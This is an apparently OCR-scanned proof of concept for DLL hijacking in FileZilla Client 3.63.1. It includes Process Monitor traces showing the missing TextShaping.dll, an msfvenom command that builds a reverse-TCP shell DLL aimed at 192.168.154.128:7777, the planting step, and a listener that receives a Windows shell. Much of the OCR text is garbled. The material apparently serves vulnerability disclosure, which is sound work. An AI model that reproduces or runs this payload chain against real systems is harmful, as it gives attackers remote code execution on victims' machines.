FileZilla Client 3.63.1

Found the DLL which can be used in DLL Hijacking

¥ Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help
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Time o.. Process Name PID Operation
34712.... [Hfilezilla.exe 242312 = Q Fi..CAW 2\widp.dll
3:47:12.... [74filezilla.exe 242312 &4 CloseFile C:\Windows\System32\widp.dll
3:47:12.... [rdfilezilla.exe 242312 vy CreateFile C:\Windows\System32\windows storage.dll
347.12.... [fHfilezilla.exe 242312 'ew Quer i...C:\\ torage.dll
34712.... [f4filezilla.exe 242312 = Q Fi..CAW torage.dll
3:47:12.... [74filezilla.exe 242312 ' CloseFile C:\Windows\System32\windows.storage.dll
347:12.... [Aflezilla.exe 242312 g Load Image C:\Windows\System32\mscff.dll
34712.... [fHfilezilla.exe 242312 'su CreateFile C:\Windows\System32\msctf.dil
347:12.... [Aflezilla.exe 242312 = Q Fi..CAW 2\msctf.dll
347:12.... [Aflezilla.exe 242312 ‘7w Quer Fi..C:\Wil 2\msctf.dil
347:12.... [Aflezilla.exe 242312 'vu CloseFile C:\Windows\System32\msctf.dll
347.12.... [f4filezilla.exe 242312 ‘s CreateFile C:\Program Files\FileZilla FTP Clientt MSASN1.dll
347:12.... [Aflezilla.exe 242312 ' CreateFile C:\Windows\System32\msasn1.dll
347:12.... [Aflezilla.exe 242312 ‘s QueryBasiclnfor... C:A\Wi 2\ 1.dil
347:12.... [Aflezilla.exe 242312 'vu CloseFile C:\Windows\System32\msasn1.dll
34712.... [f4filezilla.exe 242312 'gu CreateFile C:\Windows\System32\msasn1.dll
34712... [/4filezilla.exe 242312 ' CreateFileMap... C:\Windows\System32\msasn1.dll
3:47:12.... [74filezilla.exe 242312 ' CreateFileMap... C:\Windows\System32\msasn1.dll
3:47.12.... [r4filezilla.exe 242312 g2 Load Image C:\Windows\System32\msasn1.dll
34712.... [f4filezilla.exe 242312 ‘s CloseFile C:\Windows\System32\msasn1.dil
3:47:12.... [74filezilla.exe 242312 4 CreateFile C:\Windows\System32\msasn1.dll
347:12.... [Aflezilla.exe 242312 & Query Fi...C:\Wi Y 2\ 1.dil

12 [f4filezilla.exe 242312 5 Quer Fi..C:\ 1dil

. [Afilezilla.exe 242312 ' CloseFile C:\Windows\System32\msasn1.dll
% filezilla.exe 242312 - CreateFile C:\Program Files\FileZilla FTP Client\TextShaping.dil

347:12.... [Afilezilla.exe 242312 g CreateFile CAWi 2\T dil
347.12.... [f4flezilla.exe 242312 'vw QueryB C:\ 32\T: dil
34712.... [f4filezilla.exe 242312 ' CloseFile C:\Windows\System32\TextShaping.dll
347:12.... [Aflezilla.exe 242312 ' CreateFile C\Wi 2\ |
347:12.... [Aflezilla.exe 242312 &5 CreateFileMap... C:\Wi Y 2\T dil
347.12.... [f4flezilla.exe 242312 'y CreateFileMap... C\ 32\T: dil
<

Made a crafted dll

[~/Desktop]

windows/x64/shell_reverse_tcp LHOST=192.168.154.128 LPORT=7777 dll
[-] No platform was selected, choosing Msf ::Module:: Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file:
Saved as: TextShaping.dll

8704 bytes

Placed at the destination

- [m] X
Result Detail o
SUCCESS Information: Owner
SUCCESS
SUCCESS Desired Access: F
BUFFER OVERFL... Information: Owner,
SUCCESS Information: Owner
SUCCESS
SUCCESS Image Base: 0x7fft
SUCCESS Desired Access: F
BUFFER OVERFL... Information: Owner
SUCCESS Information: Owner
SUCCESS

NAME NOT FOUND Desired Access: F

SUCCESS Desired Access: F
SUCCESS CreationTime: 7/2°
SUCCESS

SUCCESS Desired Access: F
FILE LOCKED WIT... SyncType: SyncT
SUCCESS SyncType: SyncT
SUCCESS Image Base: 0x7fft
SUCCESS

SUCCESS Desired Access: F
BUFFER OVERFL... Information: Owner
SUCCESS Information: Owner
SUCCESS

NAME NOT FOUND Desired Access: H

SUCCESS Desired Access: F
SUCCESS CreationTime: 7/2°
SUCCESS

SUCCESS Desired Access: F

FILE LOCKED WIT... SyncType: SyncT
SUCCESS SyncType: SyncT v
>

TextShaping.dll
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Now when

listening

£~ 1zputtygenexe

&2 fasfip.exe
fzshellext.dil
fzshellext_64.dil

%) fzstorj.exe

€ cpLhtmi
libfilezilla-34.dli
libfzclient-commonui-private-3-63-1.l
libfzclient-private-3-63-1.dI
libgee_s_seh-1.dll
libgmp-10.dll
libgnutis-30.dll
libhogweed-6.dil
libnettle-8.dil
libpng16-16.dll
libsglite3-0.dil
libstdc+ +-6.dll
libwinpthread-1.dil
NEWS
TextShaping dil

B uninstallexe

run the FileZilla it loads the crafted dll and we get the reverse shell (Access)

/home/kali/Desktop
7777
on [any] 7777

192.168.154.1: inverse host lookup failed: Unknown host

connect to [192.168.154.128] from (UNKNOWN) [192.168.154.1] 26054
Microsoft Windows [Version 10.0.19044.2006]

(c) Microsoft Corporation. All rights reserved.

C:\Program Files\FileZilla FTP Client>
C:\Program Files\FileZilla FTP Client>
C:\Program Files\FileZilla FTP Client>




